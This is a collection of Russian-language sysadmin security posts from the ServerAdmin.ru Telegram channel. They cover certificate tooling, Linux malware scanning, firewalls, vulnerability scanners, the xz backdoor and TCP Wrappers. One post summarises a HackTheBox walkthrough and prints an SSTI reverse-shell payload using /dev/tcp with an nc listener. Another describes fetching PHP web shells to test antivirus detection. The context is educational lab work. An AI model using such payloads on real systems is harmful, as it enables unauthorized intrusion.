ServerAdmin.ru
26.5K subscribers
183 photos
24 videos
7 files
2.46K links
Авторская информация о системном администрировании.

Информация о рекламе: @srv_admin_reklama_bot
Автор: @zeroxzed

Второй канал: @srv_admin_live
Сайт: serveradmin.ru
Download Telegram
​​Последнее время частенько стали попадаться новости, связанные с известной программой для хранения паролей KeePass. Я уже ранее делал заметки по этому поводу. Сейчас попалась очередная новость:
Фальшивая реклама KeePass использует Punycode и домен, почти неотличимый от настоящего

И как раз недавно вышло обновление Keepass 2.55. Ко всему прочему это ещё и стабильный релиз, на который рекомендуется обновиться. Я сейчас внимательно проверяю все хэши скачанных файлов этой программы, хотя раньше как-то прохладно относился к таким проверкам. Да и вообще обновлял её крайне редко. Типа работает локально и ладно. Потом в какой-то момент почитал изменения новых версий, какие и в каком количестве там баги закрывают. И стал обновляться регулярно.

Файлы для загрузки KeePass лежат на sourceforge.net. Там есть возможность посмотреть хэши и сравнить с тем, что к тебе приехало, и с тем, что указано на сайте разработчиков. Я на всякий случай рекомендую делать сверку. В консоли это выполнить проще всего:
# md5sum KeePass-2.55.zip
# sha1sum KeePass-2.55.zip

Если надо быстро сравнить, то делаем примерно так:
# echo "5078AF3F20BB6CBB006B40610FB60F3EEAD79BC8 KeePass-2.55.zip" \
| sha1sum -c
KeePass-2.55.zip: OK
Берём хэш с сайта и выполняем проверку с локальным файлом через ключ -c.

Проверяете файлы по контрольным суммам? Только честно.

#security
​​В современном интернете очень активно используется протокол шифрования TLS. Чаще всего с ним сталкиваешься в HTTPS, VPN, STARTTLS (imap и smtp в основном). В Linux (и Unix в целом) этот протокол в основном реализован посредством OpenSSL. Это библиотека libssl и утилита командной строки openssl. Работа с этой утилитой настоящий вынос мозга. Там море всяких ключей, длиннющих конструкций и команд. Сталкиваться с этим напрямую приходится, например, при настройке своего OpenVPN сервера.

Чтобы упростить задачу управления сертификатами с помощью OpenSSL, придумали набор скриптов EasyRSA, которые даже в винду портировали. Именно с ними я всегда взаимодействовал, когда нужно было создать CA, серверные и клиентские ключи для OpenVPN (вот пример из моей статьи). Да и не только. Для всех подобных задач использовал EasyRSA и не знал, что есть инструменты проще.

В одном из комментариев увидел информацию, что есть CFSSL. Это утилита от cloudflare, с помощью которой можно создать и управлять CA, только без лишних костылей и подпорок. У неё вполне простой и понятный CLI, которым пользоваться в разы удобнее и проще, чем у openssl. Покажу сразу на примере создания CA и выпуска сертификатов для нужд OpenVPN сервера. Использую потом эту заметку при очередном обновлении статьи (уже назрело).

CFSSL это просто бинарник, скомпилированный из исходников на GO. В репозиториях Debian 12 он живёт под названием golang-cfssl:
# apt install golang-cfssl
Версия почему-то очень древнючая - 1.2.0, когда в репе уже 1.6.4 есть. Можно вручную скачать свежий бинарник.

Для cfssl нужно готовить конфиги в формате json. Сделать это нужно будет 1 раз. Интерактивного ввода, как у easyrsa, как я понял, нет. Готовим простой конфиг для выпуска СА:
{
 "CN": "My Root CA",
 "key": {
  "algo": "rsa",
  "size": 2048
 },
 "ca": {
  "expiry": "87600h"
 },
 "names": [
  {
   "C": "RU",
   "L": "Moscow",
   "O": "Serveradmin Company",
   "OU": "OpenVPN",
   "ST": "Moscow"
  }
 ]
}

Сохранили с именем ca-csr.json. Тут срок действия стоит 10 лет. Кажется, что много. Но на самом деле у меня лично был случай, когда 10-ти летний CA протух.

Генерируем ключ для CA:
# mkdir keys && cd keys
# cfssl gencert -initca ca-csr.json | cfssljson -bare ca

Получили 3 файла:
ca-key.pem - приватный ключ для подписи сертификатов
ca.pem - сам сертификат удостоверяющего центра
ca.csr - запрос на сертификат

Подготовим конфиг профилей, которые нужны будут для сертификата сервера и клиентов:

{
"signing": {
"profiles": {
"server": {
"expiry": "87600h",
"usages": [
"digital signature",
"key encipherment",
"server auth"
]
},
"client": {
"expiry": "87600h",
"usages": [
"signing",
"client auth"
]
}
}
}
}

Сохранили с именем ca.json. И делаем конфиг для запроса, такой же как для CA, только секцию с CA убираем:

{
 "CN": "My Root CA",
 "key": {
  "algo": "rsa",
  "size": 2048
 },
 "names": [
  {
   "C": "RU",
   "L": "Moscow",
   "O": "Serveradmin Company",
   "OU": "OpenVPN",
   "ST": "Moscow"
  }
 ]
}

Сохранили с именем csr.json. Выпускаем сертификат сервера:
# cfssl gencert -ca=ca.pem -ca-key=ca-key.pem \
-config=ca.json -profile="server" \
-cn="openvpn.server.local" -hostname="openvpn" \
csr.json | cfssljson -bare server

Получили 3 файла:
# ls | grep server
server.csr
server-key.pem
server.pem

Выпускаем сертификат для клиента:
# cfssl gencert -ca=ca.pem -ca-key=ca-key.pem \
-config=ca.json -profile="client" \
-cn="client01"  -hostname="User 01" \
csr.json | cfssljson -bare client01

Проверяем:
# ls | grep client01
client01.csr
client01-key.pem
client01.pem

Вот и всё. Подготовили удостоверяющий центр и выпустили сертификаты клиента и сервера. Выглядит действительно удобнее и проще EasyRSA.

#security #openvpn
​​Для Linux существует не так много антивирусов, особенно бесплатных. Я знаю только один - clamav. Чаще всего именно он используется в различных open source продуктах. С марта 2022 года разработчик запретил доступ ко всему своему сайту, включая обновления, для российских IP-адресов. Обновление антивирусных баз возможно с альтернативных зеркал, репозиториев.

Я решил поискать, а есть ли какие-то альтернативы. Нашёл тоже open source антивирус, который в том числе умеет использовать сигнатуры clamav - Linux Malware Detection (LMD). Решил его установить и потестировать. В первую очередь для сканирования сайтов, поэтому проверять его буду на некоторых известных шеллах.

Установка Linux Malware Detection (LMD):
# wget http://www.rfxn.com/downloads/maldetect-current.tar.gz
# tar -xvf maldetect-current.tar.gz
# cd maldetect-*/
# ./install.sh
Антивирус будет установлен в директорию /usr/local/maldetect/, там же будет его конфиг conf.maldet. Я не буду останавливаться на настройке, так как во-первых, файл хорошо прокомментирован, сможете сами разобраться. Во-вторых, в сети много руководств по этой теме.

❗️Сделаю важное уточнение. По умолчанию, антивирус не проверяет файлы, которые принадлежат пользователю root. Сделано это, чтобы ненароком не навредить системе. Так что во всех дальнейших тестах учитывайте это.

Для начала проверим антивирус на стандартном тестовом файле для антивирусов от EICAR:
# mkdir /tmp/shells && cd /tmp/shells
# wget http://www.eicar.org/download/eicar.com
# chown -R www-data:www-data /tmp/shells
# maldet --scan-all /tmp/shells
В консоли увидите команду на просмотр отчёта. Там будет видно, что антивирус отреагировал на тестовый файл с образцом вируса.

Проверим теперь на реальном шелле. Например, отсюда. Скачал и распаковал php shell - r57shell.rar. Скопировал в директорию, изменил владельца и запустил тест. Антивирус обнаружил shell:
{HEX}php.cmdshell.mic22.316 : /tmp/shells/r57.php

Решил ещё одну проверку сделать, взяв несколько php-shells с сайта https://www.r57shell.net/php-shells.php, которых нету в репозитории выше. На ZeroByte PHP Shell, AnonGhost Bypass Shell, TurkShell Bypass Php shell не отреагировал. Дальше не стал проверять. Обратил внимание, что они все закодированы в base64. Думаю, что-то тут не так. Полез в настройки и увидел там параметр:
string_length_scan="1"
Значение было 0, я изменил на 1. Он отвечает за анализ обфусцированных строк. После этого все шеллы, кроме ZeroByte, были обнаружены:
{SA}stat.strlength : /tmp/shells/turkshell.php
{MD5}EICAR.TEST.3.62 : /tmp/shells/eicar.com
{SA}stat.strlength : /tmp/shells/anonghost.php
{HEX}php.cmdshell.mic22.316 : /tmp/shells/r57.php

Такой вот антивирус. В условиях отсутствия других вариантов выглядит не так плохо. Можно использовать для проверки сайтов и помощи в лечении. Хотя, конечно, лучше бэкапов тут никто не поможет. Но не всегда есть возможность их использовать. Недавно активно атаковали сайты на Битриксах. Так вирус сидел несколько месяцев в исходниках, прежде чем начал вредоносную деятельность. В итоге у многих бэкапы оказались заражены.

Под конец проверок решил поставить clamav, залил туда вручную базы от 29 июля, которые нашёл. Он шеллы в base64 тоже не обнаружил. Настройки бегло глянул, не понял, что там подкрутить надо. Скорее всего есть какая-то отдельная с signatures под эти вещи.

Сайт / Исходники

Если работаете с сайтами, скажите, чем и как сейчас их проверяете в случае проблем.

#security #antivirus #linux
​​Пару лет назад я писал про удобную программу для контроля за сетевой активностью приложений в системе - Portmaster (поддерживает Windows и Linux ). Хочу ещё раз привлечь к ней внимание, особенно для тех, кто про неё не знает. Программа активно развивается и обрастает дополнительными возможностями. Чего-то более функционального и удобного и при этом бесплатного я не знаю.

Автор внедрил платные подписки с некоторой не очень существенной функциональностью. Основная платная возможность - сохранение истории приложений. Недавно он радостно сообщил, что наконец-то благодаря этим подпискам он полностью покрывает расходы на поддержку и развитие программы. Так что проект будет и дальше развиваться. Обещают начать разрабатывать похожее приложение для Android, если подписок хватит на оплату отдельного разработчика для этого.

Вся основная информация по программе есть в первой заметке. Кратко поясню, что это Firewall, который перехватывает все сетевые пакеты. Но при этом умеет ими управлять не только на уровне IP адресов и портов, но и доменов, приложений, системных служб. Последнее особенно удобно. С помощью Portmaster можно взять под контроль сетевую активность Windows. Посмотреть, куда и какие службы ходят. Выборочно их ограничить или полностью всё заблокировать.

У Portmaster удобное и наглядное управление. Он автоматически находит все установленные приложения и службы. Выводит статистику в различных разрезах и группировках. Есть обзорный Dashbord по всей сетевой активности системы.

Можно каждому приложению настраивать свои правила. К примеру, сделать один браузер, где жёстко блокируется всё лишнее, а во втором оставить чистый сёрфинг без каких-либо фильтров. Либо в каком-то браузере запретить конкретный сайт. Почтовому клиенту можно запретить любые сетевые подключение, кроме tcp портов, необходимых для получения и отправки почты.

В настоящее время Portmaster может выступать также в роли блокировщика рекламы на уровне списков сайтов и dns запросов. Всё это настраивается более гибко, чем в популярных блокировщиках.

В общем, продукт функционален и удобен. У меня давно витает идея в голове, как-то разделить в рамках одной системы рабочее пространство и развлекательное. Хочу сделать один браузер для работы, где будет заблокировано всё лишнее, в том числе развлекательные сайты, а второй для всего остального. Иногда руки сами тянутся открыть что-то отвлекающее и залипнуть, вместо того, чтобы доделать дела.

Сайт / Исходники / Видеообзор

#security
​​Тема с Portmaster получила очень живой отклик в виде сохранений заметки. Решил её немного развить и предложить альтернативу этому хоть и удобному, но очень объёмному и тяжёлому приложению. Тяжёл прежде всего интерфейс на Electron, само ядро там на Go. В противовес можно поставить simplewall. Это обёртка над Windows Filtering Platform (WFP) весом буквально в мегабайт. В репозитории все скрины на русском языке, так что автор, судя по всему, русскоязычный.

Компания Microsoft действует очень разумно и логично в своей массовой системе Windows. Закрывает наиболее актуальные потребности людей, замыкая их в своей экосистеме. Отрезает всех остальных от бигдаты пользователей. Её встроенных средств безопасности и защиты достаточно среднестатистическому пользователю. Нет необходимости ставить сторонние антивирусы или прочие приложения.

WFP - это набор системных служб для фильтрации трафика, охватывающий все основные сетевые уровни, от транспортного (TCP/UDP) до канального (Ethernet). Simplewall взаимодействует с WFP через встроенный API. То есть это не обёртка над Windows Firewall, как может показаться вначале.

Основная функция Simplewall - контроль сетевой активности. Вы можете заблокировать весь сетевой доступ, а при попытке какого-то приложения получить этот доступ, увидите сообщение от программы, где можно либо разрешить активность, либо запретить. Можно создавать готовые правила для тех или иных приложений.

Simplewall поддерживает работу с системными службами, приложениями из магазина, WSL, с обычными приложениями. Можно логировать сетевую активность приложений или служб. Несмотря на то, что используется встроенный системный инструмент, он позволяет заблокировать в том числе и обновления системы с телеметрией.

Особенность Simplewall в том, что все настроенные правила будут действовать даже если приложение не запущено. Реальная фильтрация выполняется с помощью WFP по преднастроенным правилам. По умолчанию, после запуска фильтрации, программа заблокирует всю сетевую активность. На каждое приложение, которое попросится в сеть, будет выскакивать окно с запросом разрешения или запрета сетевой активности. То есть это очень простой способ заблокировать все запросы с машины во вне.

#windows #security #network
​​Для автоматической проверки Docker образов на уязвимости (CVE) есть хороший open source инструмент Trivy. Год назад я делал по нему пару заметок с обзором и автоматическим исправлением уязвимостей. Потом всё это в небольшую статью оформил.

Этот продукт хорошо дополняет open source утилита Dockle. Она тоже проверяет контейнеры на уязвимости, но помимо этого проверяет образ на соответствие best-practice Dockerfile и рекомендации CIS Docker Benchmarks (#cis).

Использовать очень просто, так как это по сути одиночный бинарник. В репозитории есть пакеты для установки под все популярные системы. Можно запустить и в Docker без установки:

# docker run --rm goodwithtech/dockle:v0.4.14 [YOUR_IMAGE_NAME]

Пример отчёта можно посмотреть на тестовом образе, для которого есть замечания:

# docker run --rm goodwithtech/dockle:v0.4.14 goodwithtech/dockle-test:v2

С помощью ключа -f json вывод можно сохранить в json файле. Dockle легко интегрировать в пайплайн. В репозитории есть примеры (gitlab).

Исходники

#docker #devops #cicd #security
Заметка немного не по теме канала, но мне она показалась интересной, поэтому решил поделиться. В том числе для расширения кругозора. На днях посмотрел видео:

▶️ Hacking - O.MG Cable. 😈 Опасный кабель

Забайтился на заголовок, добавил ролик к просмотру и в итоге посмотрел. Речь там идёт про обычный usb провод с type-c на конце. В провод зашит небольшой чип c wifi модулем. Через этот чип и модуль можно эмулировать нажатия клавиш на компе и выполнять команды.

В целом, я всегда знал, что usb порты это потенциально опасные штуки и втыкать туда что попало нельзя. Но я не представлял, что устройства для скрытной деятельности настолько простые. Я думал, что это какие-то спецсредства, недоступные обычным людям или админам. Для которых нужно специальное ПО, которое пройдёт мимо антивирусов, запустится на компе и будет что-то делать.

А оказывается, можно купить вот такой простой проводочек за 100 баксов, а на aliexpress наверное и дешевле, и прикалываться над коллегами в офисе. На видео наглядно на конкретных примерах показано, как это работает. Очевидно, что всё то же самое можно делать и более скрытно.

Первое, что мне пришло в голову, когда увидел провод – это отличный подарок для какого-нибудь айтишника. Необычно и функционально. Не знаю только, насколько реально его купить в РФ. Сам автор канала получил провод на работе.

#security #железо
​​Расскажу про необычный, но на мой взгляд полезный сервис. С его помощью можно закрыть паролем переход по какому-то url, который по каким-то причинам нельзя или не хочется светить в публичном пространстве. Речь пойдёт про простой open source проект link-lock.

Link-lock шифрует сам url, используя при этом возможности браузера. На сервере ничего не хранится. Расшифровка тоже происходит в браузере клиента. После расшифровки урла, происходит редирект на закрытую ссылку.

Посмотреть, как это работает, можно на странице публичного сервиса, поднятого автором:

https://jstrieb.github.io/link-lock/

Он представляет из себя статичный сайт с javascript, так что вы можете поднять его у себя. Достаточно склонировать его к себе и положить в директорию с веб сервером. Единственный момент - он все ссылки создаёт через домен автора jstrieb.github.io. Чтобы использовать свой, просто замените везде в исходниках это имя на своё. Я это проделал, всё получилось.

Подобный сервис может позволить хранить список ссылок в публичных местах или компьютерах, доступ к которым невозможен без знания пароля. Параноики могут шифровать свои ссылки в каких-то облачных сервисах типа evernote или notion. Можно по почте отправлять какие-то ссылки, а пароль передавать другим путём. Таким образом в почте не будет отсвечивать эта ссылка. Например, так можно передавать ссылку на загрузку конфигурации VPN, не светя в переписки адрес веб сервера, на котором живёт веб интерфейс.

Исходники

#security
​​Знакомый вчера попросил помочь с компом с установленной Windows. Я давно уже особо не занимаюсь обычными компами и каких-то нюансов, современных проблем пользователей тоже не знаю. У меня дома 5 компов, на каждого члена семьи по одному. Вот это моя зона ответственности.

В общем, решил помочь. Симптомы такие, что ни в одном браузере ни один сайт не открывается. Ругается на то, что не может проверить сертификат. А сертификат там заменяет Kaspersky, так как он установлен, лицензия актуальна, все проверки стоят. При этом сам Kaspersky тоже выбрасывает ошибки: не может обновиться (хотя ещё вчера обновлялся), не может проверить лицензию. Хотя если зайти в ЛК Каспера, там видно, что лицензия активна.

До кучи AnyDesk тоже не может подключиться к своей сети. Выдаёт ошибку соединения, без подробностей. Так что подключаться мне пришлось через другой комп в локалке по RDP. Хорошо хоть этот доступ сработал.

Не буду томить подробностями того, что там делал (ребуты, проверки на вирусы и т.д.). Сразу скажу, в чём была проблема. Случайно увидел, что дата неправильная. Время и число верные, а месяц стоит апрель, а не февраль. Поставил правильную дату и сразу всё заработало. Кто, когда и как поменял время, осталось неизвестным. Сам знакомый говорит, что не делал этого. Я не стал разбираться. Проблема решилась, да и ладно. Сказал, чтобы следил за временем, если вдруг опять изменится.

Вообще, я удивлён, что неправильное время из будущего принесло столько проблем, что аж работу антивируса нарушило. По идее, антивирус должен следить за этим, если для его работы это критично. Я не раз сталкивался с тем, что проверки сертификатов не работают из-за неправильного времени, но тут одно к одному приложилось несколько проблем: anydesk и kaspersky. Сразу не пришло в голову, что это всё из-за сертификатов и невозможности их проверить.

По факту сейчас всё с использованием TLS работает, так что время очень важный параметр. Его мониторить надо. Во времена, когда Zabbix по умолчанию не умел следить за временем на хостах, я придумывал свои проверки. Потом они уже добавили в стандартные шаблоны это.

#windows #security
Вчера посмотрел очень интересное видео и прям кайфанул. Человек в режиме онлайн проходит задание сайта HackTheBox. Задание старое, за которое больше не дают баллы, поэтому по нему можно снять видео. Для тех, кто не в курсе, HackTheBox - популярная платформа с тестовыми заданиями для пентестеров, где надо что-то взламывать.

Само видео:
▶️  Прохождение Linux-машины средней сложности SANDWORM HackTheBox | КАК ПРОЙТИ SANDWORM.HTB

Тут может ничего особенного и нет, но я в таком формате ролики раньше не смотрел, поэтому очень зашло. Особенно мне понравилось то, что я всё понял 😀 Я примерно так себе и представлял взломы, но на практике никогда не видел реализацию. Многие инструменты, которые он использовал, я описывал у себя на канале в разное время.

Кратенько, что он делает на видео.

1️⃣ Исследует веб сервер с открытыми портами ssh, http, https. Обнаруживает, что веб приложение имеет уязвимость к инъекции шаблонов на стороне сервера (SSTI). На сайте есть форма, куда можно загрузить свой pgp ключ и зашифрованные им данные. И проверить, подходит ли ключ к шифровке. Так вот, в атрибуты ключа можно загнать payload в виде некоторого кода, который будет выполнен при загрузке ключа через форму, чтобы получить reverse shell. В payload он загнал bash -i >& /dev/tcp/10.10.14.20/1337 0>&1 и подключение ждал на 10.10.14.20 с помощью nc -lvnp 1337. Я об этом рассказывал вот тут и тут.

2️⃣ Далее он с помощью pspy стал наблюдать за всеми процессами в системе, не имея прав root. Заметил, что cron от root копирует и компилирует некоторые файлы на rust. К самим файлам не было доступа на запись, но там подгружался внешний модуль, куда уже можно было что-то записать. Залил туда payload и снова получил shell уже другого пользователя.

3️⃣ В завершении с помощью эксплоита получил выход из песочницы и получил права root.

В процессе работы активно использовал всевозможные линуксовые утилиты, в том числе веб сервер на python, про который я уже 100 раз писал.

В общем, видео интересное и интригующее. Даёт возможность посмотреть работу профи в режиме онлайн на его машине с привычными ему инструментами. В целом, для уверенного линукс админа нет никаких проблем переквалифицироваться в безопасника или пентестера, если есть такое желание. Это как раз база для таких направлений.

#security #видео
​​Расскажу про необычный и полезный сервис, который позволяет создать зашифрованные HTML странички, которые могут быть расшифрованы полностью на стороне клиента за счёт возможностей современных браузеров и JavaScript. То есть это полностью client side шифрование. На веб сервере лежит обычная html страничка. Никакой поддержки шифрования со стороны сервера не требуется.

Это простой, удобный и надёжный способ зашифровать какую-то приватную информацию и положить её полностью в публичный доступ. Посмотреть информацию может только тот, кто знает пароль. Он заходит на публичную страничку, видит форму для ввода пароля. Указывает его и получает доступ к данным. При этом сам html код зашифрован. Он может лежать на любом публичном хостинге. Расшифровать информацию можно только зная пароль.

Исходники сервера открыты:

https://github.com/robinmoisson/staticrypt

Можно развернуть его у себя и шифровать странички через свой сервис. А можно воспользоваться уже готовым сервисом, который доступен для всех желающих:

https://robinmoisson.github.io/staticrypt/

Указываете пароль, загружаете html код и на выходе получаете зашифрованную html страничку. Можно её скачать и открыть через свой браузер. Убедиться, что всё работает. Дальше можно положить её на любой публичный хостинг.

Такой сервис удобно использовать для публикации какой-то инструкции с чувствительными данными. Можно положить её в открытый доступ, а пользователям рассылать пароль, чтобы они смогли прочитать информацию.

Вот пример зашифрованной странички, которую я создал с помощью этого сервиса: https://serveradmin.ru/files/encrypted.html Пароль - serveradmin. Можете скачать html код и посмотреть, что он из себя представляет. В репозитории проекта описан принцип работы по шифрованию и расшифровке.

Напомню, что ранее я рассказывал про сервис link-loc, который похожим образом шифрует не саму страницу, а ссылку на неё. В связке с этим сервисом получается вообще полное шифрование и ссылки, и самой страницы.

#security
Начиная с пятницы, в сети наперебой постили новости с шокирующей уязвимостью в OpenSSH сервере CVE-2024-3094, которая позволяет получить доступ к SSH-серверу без аутентификации (на самом деле это не так). Якобы ей подвержены почти все современные системы. Я всю пятницу и субботу в сборах и дороге был, так что только вчера смог спокойно сесть и разобраться, что там случилось.

Сразу скажу, что если у вас Debian 11 или 12 можно вообще не переживать и не торопиться обновляться. Никаких проблем с найденной уязвимостью в этих системах нет. Заражённый пакет успел приехать только в тестовый репозиторий sid.

Расскажу своими словами, в чём там дело. OpenSSH сервер использует библиотеку liblzma. Насколько я понял, не все сервера её используют, но большая часть. Проверить можно так:

# ldd "$(command -v sshd)" | grep liblzma
liblzma.so.5 => /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007f4f01c9d000)

Уязвимой является версия библиотеки 5.6.0 и 5.6.1. Проверяем установленную у себя версию через пакетный менеджер. Для deb вот так:

# dpkg -l | grep liblzma
ii liblzma5:amd64         5.4.1-0.2           amd64    XZ-format compression library

Или напрямую через просмотр версии xz:

# xz --version
xz (XZ Utils) 5.4.1
liblzma 5.4.1

В Debian 12 указанной уязвимости нет, можно не переживать. В security-tracker есть отдельная страница по этой уязвимости. Там видно, что версия 5.6.1 была только в sid.

В rpm дистрибутивах нужно проверять версию пакета xz-libs:

# rpm -qa | grep xz-libs
xz-libs-5.2.4-4.el8_6.x86_64

Для 8-й ветки форков RHEL проблема тоже неактуальна. 9-й у меня нигде нет, там не проверял.

Вообще, история с этой уязвимостью очень любопытная. На самом деле она позвоялет выполнить произвольный код в системе, не оставляя следов в логах sshd. Подробный разбор работы есть на opennet. Сделано всё очень мудрёно и запутанно не без использования bash портянки, которая выглядит как обфускация. А обнаружили уязвимость случайно, потому что sshd стал чуток медленнее работать, чем раньше. А сколько таких уязвимостей есть в системах, которые ещё никто случайно не заметил?

#linux #security
​​Существует известный сервис для поиска уязвимостей vulners.com. Он платный и относительно дорогой, но при этом есть как бесплатные закрытые сервисы, так и open source продукты, которые вы можете использовать у себя. Покажу несколько примеров бесплатного использования.

1️⃣ Допустим, вы хотите выполнить разовый аудит системы, чтобы быстро понять, какие есть уязвимости в установленных пакетах. Для этого идёте на страницу https://vulners.com/scanner/audit, выбираете слева в меню Manual Audit. Указываете свою версию системы и получаете команду для выгрузки информации о пакетах. Для Debian она будет такая:

# dpkg-query -W -f='${Status} ${Package} ${Version} ${Architecture}\n'|awk '($1 == "install") && ($2 == "ok") {print $4" "$5" "$6}'

Копируете консольный вывод и вставляете в форму на сайте. Получаете результат и удивляетесь, как на свежеобновлённой системе может быть столько уязвимостей. Но если посмотреть внимательно, то почти все они некритические и обновлений для них нет и не будет, либо планируются только в будущем релизе.

Я удивился 10-ти бальной уязвимости по CVSS у tar от 2005 года (CVE-2005-2541). Суть её в том, что tar не информирует пользователя о том, что при извлечении файла у него могут стоять такие setuid и setgid, что сделает возможным запуск файлов с правами суперпользователя, если извлечение было выполнено из под него. На что в security-tracker дебиана разработчики дистрибутива ответили, что это его штатная возможность, в конце концов он же архиватор и поступает так, как ему указывают, ведь надо явно указать ключ -p.

2️⃣ Есть вариант проверять систему на уязвимости автоматически с помощью Agent Scanner. Для этого надо зарегистрироваться в системе и получить API для агента. Бесплатный тарифный план позволяет использовать до 10-ти агентов. Не знаю, насколько сейчас это актуально в рамках всевозможных санкций и блокировок. Я бы ставить не стал.

3️⃣ У vulners.com есть open source скрипт для nmap, который автоматически показывает уязвимости у обнаруженных служб. Вот это реально полезная штука, которая бесплатна, и её удобно использовать. Делается это так. Ставим nmap и клонируем себе репозиторий:

# apt install nmap
# git clone https://github.com/vulnersCom/nmap-vulners

В директорию ~/.nmap/scripts (если нет, создайте) скопируйте файл из репозитория vulners.nse. Теперь обновите базу данных:

# nmap --script-updatedb

Можно сканировать хосты с использованием базы данных vulners:

# nmap -sV --script vulners 192.168.13.15/32

Результат работы на картинке снизу.

4️⃣ У этого сервиса есть интеграция с Zabbix. Описание и все скрипты есть в отдельном репозитории. Эта штука когда-то работала. Я её пробовал. Некоторый лимит запросов есть через бесплатную учётку. Но работает всё так себе. Поддержки почти нет, с новыми версиями Zabbix сервера, где поменялся API, уже не работает. Когда обновят и будут ли - неизвестно. Так что не тратьте своё время, если вдруг надумаете посмотреть. Идея в целом неплохая, но поддерживать всё это хлопотно в том виде, как оно сделано.

#security #nmap
​​Вчера рассказал про сервис vulnersCom и кратко упомянул про его интеграцию с nmap. Сегодня хочу немного расширить эту тему. У компании cloudflare в их github репозитории есть небольшой продукт на основе nmap и скрипта vulners.nse - Flan. Он ничего особенного не делает, кроме небольшой автоматизации по передачи списка ip адресов для сканирования. Плюс, поддерживает разные форматы вывода результатов: html, json, xml, markdown. Также он умеет складывать результаты тестов в GCS Bucket или AWS S3 Bucket.

Описание Flan есть в блоге cloudflare. Проект старый и особо не развивается, но там и развивать нечего. Та функциональность, что в него заложена, нормально работает и не требует обновления. Покажу сразу на примере, как он работает и что делает.

Клонируем к себе репозиторий:

# git clone https://github.com/cloudflare/flan

Для того, чтобы понять, что тут будет происходить, достаточно посмотреть файлы Dockerfile и Makefile. Первый содержит простую инструкцию по сборке своего контейнера с nmap и скриптом nmap-vulners на борту. Дополнительно он копирует в контейнер python скрипты для поддержи различных форматов вывода.

Так что запуск сканирования выглядит следующим образом. Готовим список IP адресов в файле shared/ips.txt. Одиночные IP адреса нужно указывать без маски /32. Потом собираем контейнер. Все команды уже прописаны в Makefile, поэтому запускаем через него:

# make build

Чтобы всё получилось, Docker и make у вас должны стоять в системе. Если нет, то поставьте:

# curl -o - https://get.docker.com | bash -
# apt install make

Когда соберётся образ, можно запускать сканирование:

# make start

Результат будет выведен в консоль. Чтобы вывести его в html файл для удобного просмотра, запускаем так:

# make html

Результат будет в директории shared/reports. Можно запустить веб сервер, чтобы быстро посмотреть html файлы:

# cd ~/flan/shared/reports
# python3 -m http.server 80

Смотрим результат сканирования в удобочитаемом виде с активными ссылками на все CVE. Очень удобно. Можно этот процесс автоматизировать, поднять постоянный веб сервер и хранить результаты некоторое время.

Если не уважаете Docker, можете запускать без него. В Dockerfile всё показано, что надо сделать, для локального запуска. Надо поставить несколько пакетов, python модулей, забрать скрипты pthon и запускать run.sh.

Отдельно в репозитории рассказано, как всё это сканирование запускать в Kubernetes для проверки контейнеров.

#security #nmap
​​Shodan знают все или почти все. Когда-то писал про него. У этого сервиса есть очень простая и маленькая утилита, которая проверяет ваши списки ip адресов по своей базе открытых портов и уязвимостей. Называется nrich. Удобно запихнуть все свои внешние IP адреса и периодически проверять то, как их видит Shodan. Его используют многие сканеры и боты, для автоматического поиска доступных из интернета сервисов.

Поставить можно как из пакета, так и просто скачать бинарник напрямую. Всё есть в репозитории.

# wget https://gitlab.com/api/v4/projects/33695681/packages/generic/nrich/latest/nrich_latest_x86_64.deb
# dpkg -i nrich_latest_x86_64.deb

Формируем текстовый файл с ip адресами, где в каждой строке по ip адресу:

1.1.1.1
8.8.8.8
и т.д.

Запускаем проверку:

# nrich ip.list

Результат виден в консоли. Можно сразу в json обернуть:

# nrich ip.list --output json

Данные nrich берёт из публичного бесплатного сервиса internetdb.shodan.io.

#security
​​В ОС на базе Linux есть очень простой в настройке инструмент по ограничению сетевого доступа к сервисам. Он сейчас почти не применяется, так как не такой гибкий, как файрволы, но тем не менее работает до сих пор. Речь пойдёт про TCP Wrappers, которые используют библиотеку libwrap для ограничения доступа. По своей сути это файрвол уровня приложений, которые его поддерживают. Расскажу, как это работает.

В большинстве Linux дистрибутивов есть файлы /etc/hosts.allow и /etc/hosts.deny. Сразу покажу пример, как всем ограничить доступ к SSH и разрешить только с указанных локальных подсетей. Добавляем в /etc/hosts.allow:

sshd : 10.20.1.0/24
sshd : 192.168.13.0/24

И одновременно в /etc/hosts.deny:

sshd : ALL

Всё, теперь подключиться можно будет только из указанных сетей. При подключении из другого места в логе SSHD будут такие строки:

# journalctl -u ssh -n 10
sshd[738]: refused connect from 10.8.2.2 (10.8.2.2)

Не нужна ни перезагрузка, ни запуск каких-либо программ. Просто добавляете записи в указанные файлы и они сразу же применяются. Можно логировать заблокированные попытки:

sshd : ALL \ : spawn /usr/bin/echo "$(/bin/date +"%%d-%%m-%%y %%T") SSH access blocked from %h" >> /var/log/libwrap

В файле /var/log/libwrap будет аккуратная запись:

03-06-24 12:29:31 SSH access blocked from 10.8.2.2

Для того, чтобы эта функциональность работала, программа должна поддерживать указанную библиотеку. Проверить можно так:

# ldd /usr/sbin/sshd | grep libwrap
libwrap.so.0 => /lib/x86_64-linux-gnu/libwrap.so.0 (0x00007f55228a2000)

В Debian 12 sshd поддерживает, но так не во всех дистрибутивах. Надо проверять. Из более-менее популярного софта libwrap поддерживается в vsftpd, nfs-server, apcupsd, syslog-ng, nut, dovecot, stunnel, nagios, Nutanix Controller VM.

Очевидно, что тот же iptables или nftables более функциональный инструмент и полагаться лучше на него. Но в каких-то простых случаях, особенно, если нужно ограничить только ssh, можно использовать и libwrap. Также можно продублировать в нём правила, чтобы в случае ошибки в файрволе, доступ к некоторым сервисам точно не был открыт. Ну и просто полезно знать, что есть такой инструмент. Мало ли, придётся столкнуться.

#linux #security
​​Недавно рассказывал про Shodan и упомянул его бесплатный сервис internetdb.shodan.io, который по запросу выдаёт некоторую информацию из своей базы по IP адресу.

Работает примерно так:

# curl https://internetdb.shodan.io/112.169.51.142
{"cpes":["cpe:/a:openbsd:openssh","cpe:/a:jquery:jquery:1.11.1","cpe:/a:vmware:rabbitmq:3.5.7"],"hostnames":[],"ip":"112.169.51.142","ports":[22,123,4369,5672,8080],"tags":["eol-product"],"vulns":["CVE-2019-11358","CVE-2021-32718","CVE-2020-11023","CVE-2021-22116","CVE-2015-9251","CVE-2023-46118","CVE-2022-31008","CVE-2020-11022","CVE-2021-32719"]}

